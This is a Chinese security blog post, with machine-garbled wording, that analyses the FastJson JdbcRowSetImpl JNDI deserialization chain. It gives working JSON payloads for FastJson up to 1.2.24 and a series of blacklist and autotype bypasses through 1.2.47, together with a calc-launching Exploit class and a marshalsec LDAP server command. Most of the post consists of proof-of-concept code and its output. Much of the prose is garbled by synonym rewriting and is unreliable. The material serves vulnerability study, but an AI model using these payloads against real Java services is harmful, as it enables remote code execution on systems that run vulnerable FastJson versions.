Java安全性之FastJson JdbcRowSetImpl 链分析

Java安全性之FastJson JdbcRowSetImpl 链分析

0x00 序言

续上文的Fastjson TemplatesImpl链分析,然后来学习培训JdbcRowSetImpl 运用链,JdbcRowSetImpl 的运用链在具体应用中比较普遍,这一链基本上没啥限定标准,只必须Json.parse(input)就可以开展指令实行。

0x01 系统漏洞剖析

运用限定

最先而言说限定,根据JNDI RMI或JDNI LADP开展进攻,会出现一定的JDK版本号限定。

RMI运用的JDK版本号≤ JDK 6u132、7u122、8u113

LADP运用JDK版本号≤ 6u211 、7u201、8u191

进攻步骤

  1. 最先是这一lookup(URI)主要参数可控性
  2. 网络攻击操纵URI主要参数为特定为故意的一个RMI服务项目
  3. 网络攻击RMI网络服务器向总体目标回到一个Reference目标,Reference目标中特定某一用心结构的Factory类;
  4. 总体目标在开展lookup()实际操作时,会动态性载入并创建对象Factory类,然后启用factory.getObjectInstance()获得外界远程控制目标案例;
  5. 网络攻击能够 在Factory类文档的静态代码块处载入恶意程序,做到RCE的实际效果;

JDNI引入关键点

简易剖析一下lookup主要参数可控性后,怎样来到RCE.

启用链:

  • -> RegistryContext.decodeObject()
  • -> NamingManager.getObjectInstance()
  • -> factory.getObjectInstance()
  • -> NamingManager.getObjectFactoryFromReference()
  • -> helper.loadClass(factoryName);

loadclass开展创建对象,开启静态代码块的Runtime代码运行命令实行。

调节剖析

危害版本号:fastjson <= 1.2.24

payload:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

过去文的TemplatesImpl链分析中获知FastJson在反序列化的时候会去启用get、set、is方式 。

  • @type:总体目标反序列化类名;
  • dataSourceName:RMI认证中心关联故意服务项目;
  • autoCommit:在Fastjson JdbcRowSetImpl链中反序列化时,会去启用setAutoCommit方式 。

深入分析fastjson怎样分析可查询Fastjson TemplatesImpl链分析文章内容,再度不做赘诉。

运行LDAP服务器端

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#Exploit 1389

Exploit编码,需将编码编写出class文档随后挂在到web中

import java.io.IOException;

public class Exploit {
    public Exploit() {
    }
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

POC编码:

package com.nice0e3;

import com.alibaba.fastjson.JSON;

public class POC {
    public static void main(String[] args) {
//               String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
        String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }

}

见到payload中的dataSourceName主要参数在分析情况下则会启用setDataSourceNameDataSourceNamece自变量开展取值,来见到编码

autoCommit也一样会启用setAutoCommit

setAutoCommit方式 启用this.connect();

lookup中则是传到了this.getDataSourceName(),回到dataSource自变量內容。而这一dataSource內容则是在前边setDataSourceName方式 中开展设定的,该主要参数是可控性的。因此 能够 开展JDNI引入进而做到指令实行。

运用链

  • -> JdbcRowSetImpl.execute()
  • -> JdbcRowSetImpl.prepare()
  • -> JdbcRowSetImpl.connect()
  • -> InitialContext.lookup(dataSource)

而在Fastjson JdbcRowSetImpl 链运用中,则是运用了后半部。

0x02 绕开方法

1.2.25版本号修补

先将Fastjson部件升級到1.2.25版本号后开展推送payload,查询是不是可以运用取得成功。

修补修改:

  1. 自从1.2.25 起 autotype 默认设置为False
  2. 提升 checkAutoType 方式 ,在该方式 中开展信用黑名单校检,另外提升授权管理体制

Fastjson AutoType表明

依据官方网文本文档打开AutoType的方法,假定不打开该作用是没法开展反序列化的。由于默认设置授权管理是空的,必须自定。授权管理的绕开基本上不太可能,都是以信用黑名单做为通道。授权管理必须加上,而信用黑名单中则是内置在Fastjson中。

1、JVM运行主要参数

-Dfastjson.parser.autoTypeSupport=true

2、编码中设定

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); 

下边看来编码,这儿应用了IDEA中的jar包比照作用

能够 见到DefaultJSONParser推送了变化,在这儿多了一个checkAutoType方式 去做校检。

跟踪方式 查询

前边会开展授权管理的校检,假如配对中得话启用loadClass载入,回到一个Class目标。 这儿默认设置授权管理的目录为空。

后边这则是会故意类的信用黑名单开展配对,假如载入类的前边包括信用黑名单所界定的标识符则抛出异常。

1.2.25-1.2.41 绕开

package com.nice0e3;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
    public static void main(String[] args) {
    //ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }
}

先来调节不打开的状况,前边依然便会解析xml信用黑名单对class开展取值,但最终这一会去检验假如未打开,则立即抛出现异常,打开则会去回到。

将注解开启后,则立即回到class

指令实行取得成功。可是能够 见到前边的class是Lcom.sun.rowset.JdbcRowSetImpl为何也会开启指令实行?

缘故取决于com.alibaba.fastjson.parser#TypeUtils.loadClass(typeName, this.defaultClassLoader);方式 中,可跟踪查询。

这儿分析到內容假如为L开始,;末尾得话便会将这两个标识符清除,前边实际上还有一个[

1.2.42 修补方法

修补修改:密文信用黑名单改成HASH值,checkcheckAutoType方式 加上L;标识符过虑。

加密方法坐落于com.alibaba.fastjson.util.TypeUtils#fnv1a_64可将开展撞击获得值。

1.2.42绕开方法

package com.nice0e3;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }

}

com.alibaba.fastjson.parser#checkcheckAutoType里将L;开展清除。这儿是运用了双写的方法,前边的标准将第一组L;,开展清除,而在TypeUtils.loadclass里将第二组內容清除。

1.2.43 修补方法

在1.2.43版本号中正确了LL开始的绕开开展了堵漏

//hash测算基本主要参数            long BASIC = -3750763034362895579L;            long PRIME = 1099511628211L;            //L开始,;末尾            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {                //LL开始                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {                                      throw new JSONException("autoType is not support. "   typeName);                }                className = className.substring(1, className.length() - 1);            }

再度实行poc编码能够 见到出错了。

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.rowset.JdbcRowSetImpl;;	at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:914)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)	at com.alibaba.fastjson.JSON.parse(JSON.java:152)	at com.alibaba.fastjson.JSON.parse(JSON.java:162)	at com.alibaba.fastjson.JSON.parse(JSON.java:131)	at com.nice0e3.POC.main(POC.java:12)

1.2.43 绕开方法

前边能够 见到[也开展了清除,能够 从该地区开展下手。

public class POC {    public static void main(String[] args) {        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";        JSON.parse(PoC);    }}

实行出错了,出错信息内容以下:

Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 44, fastjson-version 1.2.43	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451)	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1261)	at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:729)	at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:183)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:373)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)	at com.alibaba.fastjson.JSON.parse(JSON.java:152)	at com.alibaba.fastjson.JSON.parse(JSON.java:162)	at com.alibaba.fastjson.JSON.parse(JSON.java:131)	at com.nice0e3.POC.main(POC.java:12)

提醒缺乏了一个{

public class POC {    public static void main(String[] args) {        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";        JSON.parse(PoC);    }}

1.2.44 修补方法

[开展限定,实际完成可自主查询。

再度实行前边的poc编码能够 见到出错了。

1.2.45绕开方法

运用标准必须总体目标服务器端存有mybatis的jar包,且版本号能以3.x.x系列<3.5.0的版本号。

public class POC {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:1389/Exploit\"}}";
        JSON.parse(PoC);
    }

}

下边来剖析一下应用这一payload为何能绕开。实际上是依靠了org.apache.ibatis.datasource.jndi.JndiDataSourceFactory开展绕开,org.apache.ibatis.datasource.jndi.JndiDataSourceFactory并没有信用黑名单中。

这儿是对反序列化后的目标是org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

传到properties主要参数,则会去全自动启用setProperties

而在1.2.46没法实行取得成功,应该是对此类拉入了信用黑名单中。

1.2.25-1.2.47通杀

为什么说这儿标明为通杀呢,实际上这儿和前边的绕开方法不太一样,这儿是能够 立即绕开AutoTypeSupport,就算关掉AutoTypeSupport也可以立即实行取得成功。

先看来payload

public class POC {    public static void main(String[] args) {              String PoC = "{\n"                  "    \"a\":{\n"                  "        \"@type\":\"java.lang.Class\",\n"                  "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n"                  "    },\n"                  "    \"b\":{\n"                  "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n"                  "        \"dataSourceName\":\"ldap://localhost:1389/badNameClass\",\n"                  "        \"autoCommit\":true\n"                  "    }\n"                  "}";        JSON.parse(PoC);    }}

能够 见到payload和前边的payload结构不太一样,这儿来剖析一下。

这儿未打开AutoTypeSupport不容易来到下边的黑与白名册分辨。

fastjson会应用 checkAutoType 方式 来检验@type中带上的类,但此次大家传到的是一个java.lang.class

来见到com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject方式 中

跟踪deserialze方式 查询,这儿的deserialzeMiscCodec#deserialze

上边编码会从objVal = parser.parse();获得內容为com.sun.rowset.JdbcRowSetImpl。来见到下边

if (clazz == Class.class) {    return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());}

这儿应用了TypeUtils.loadClass涵数载入了strVal,也就是JdbcRowSetlmpl,跟踪发觉会将其缓存文件在map中。

这儿的true主要参数意味着打开缓存文件,假如打开将故意类储存到mapping中

中断点赶到com.alibaba.fastjson.parser.DefaultJSONParser#checkAutoType

由于前边将com.sun.rowset.JdbcRowSetImpl因此 这儿能获得到com.sun.rowset.JdbcRowSetImpl该分辨不以true,进而绕开信用黑名单。

而事后则是和前边的一样,根据dataSourceName开启针对的set方式 将dataSourceName自变量开展设定,然后根据autoCommit,开启setAutoCommit开启lookup()做到指令实行。

参照文章内容

https://xz.aliyun.com/t/9052

https://xz.aliyun.com/t/7027

https://kingx.me/Exploit-Java-Deserialization-with-RMI.html

http://wjlshare.com/archives/1526

0x03 末尾

实际上后边也有好多个绕开的方法后边再去做剖析,除此外也有一些BCEL来处理fastjson出不来网回显等层面都值得去思索和科学研究。

评论(0条)

刀客源码 游客评论